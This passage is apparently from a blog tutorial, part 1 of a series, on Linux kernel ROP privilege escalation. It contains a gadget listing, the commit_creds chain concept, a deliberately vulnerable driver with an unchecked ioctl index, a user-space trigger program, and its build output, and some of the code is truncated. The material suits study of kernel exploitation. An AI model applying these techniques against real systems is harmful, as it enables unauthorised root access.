0xffffffff810d805d : mov rdi, rax ; call rcx
0xffffffff81036b70 : mov rdi, rax ; call rdx

We can adjust our initial ROP chain to accommodate for the call instruction by loading the address of commit_creds() into %rbx. The call instruction will then execute commit_creds() with %rdi pointing to our new “root” cred structure.


Executing the above ROP chain should escalate privileges of the current process to root.

Vulnerable Driver

To simplify the exploitation process and demonstrate the kernel ROP chain in practice, we have developed the following vulnerable driver:

struct drv_req {
        unsigned long offset;

static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
        struct drv_req *req;
        void (*fn)(void);

        switch(cmd) {
        case 0:
                req = (struct drv_req *)args;
                printk(KERN_INFO "size = %lx\n", req->offset);
                printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
                fn = &ops[req->offset];                                     [1]

        return 0;

In [1], there are no bound checks for the array. A user-supplied offset is large enough (represented by unsigned long) to access any memory address in user or kernel space.

This driver registers the /dev/vulndrv device and prints the ops array address when loaded:

lone@LoneRanger:~/kernel_rop$ make && sudo insmod ./drv.ko
make -C /lib/modules/3.13.0-32-generic/build M=/home/vnik/kernel_rop modules
make[1]: Entering directory `/usr/src/linux-headers-3.13.0-32-generic'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-32-generic'
[sudo] password for vnik: 
lone@LoneRanger:~/kernel_rop$ dmesg | tail
[ 1876.256007] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
[ 1878.259739] e1000: eth0 NIC Link is Down
[ 1884.274250] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
[ 3325.908438] drv: module verification failed: signature and/or  required key missing - tainting kernel
[ 3325.909211] addr(ops) = ffffffffa0253340

We can reach the vulnerable path via the provided ioctl from user space:

lone@LoneRanger:~/kernel_rop/vulndrv$ sudo chmod a+r /dev/vulndrv 
lone@LoneRanger:~/kernel_rop/vulndrv$ ./trigger [offset]

The trigger source code is shown below:

#define DEVICE_PATH "/dev/vulndrv"

int main(int argc, char **argv) {
        int fd;
        struct drv_req req;

        req.offset = atoll(argv[1]);

        fd = open(DEVICE_PATH, O_RDONLY);

        if (fd == -1) {

        ioctl(fd, 0, &req);

        return 0;

By providing a precomputed offset, any memory address in kernel space can be executed. We could obviously point fn() to our mmap’d user-space memory address (containing the privilege escalation payload) but remember the initial requirement: no instructions residing in user space should be executed.

We need a way to redirect the kernel execution flow to our ROP chain in user space without executing any user-space instructions. We will leave this for Part 2.

Stay tuned with me for Part 2!

I have deliberately skipped some details regarding pivoting to our ROP chain and fixating the system once privileges are elevated. I will discuss these topics in Part 2. You are encouraged to attempt this exercise on your own before Part 2 becomes available 🙂 The source code for the kernel driver and user-space trigger program is available on GitHub.

You Guys Can Stay Tuned For Part 2!

I Hope This Is SomeThing Nice For Exploit Writers and also For Linux Internel Savvy…

Have A Good Night and If You Like My Work Then Just Pray For Me 🙂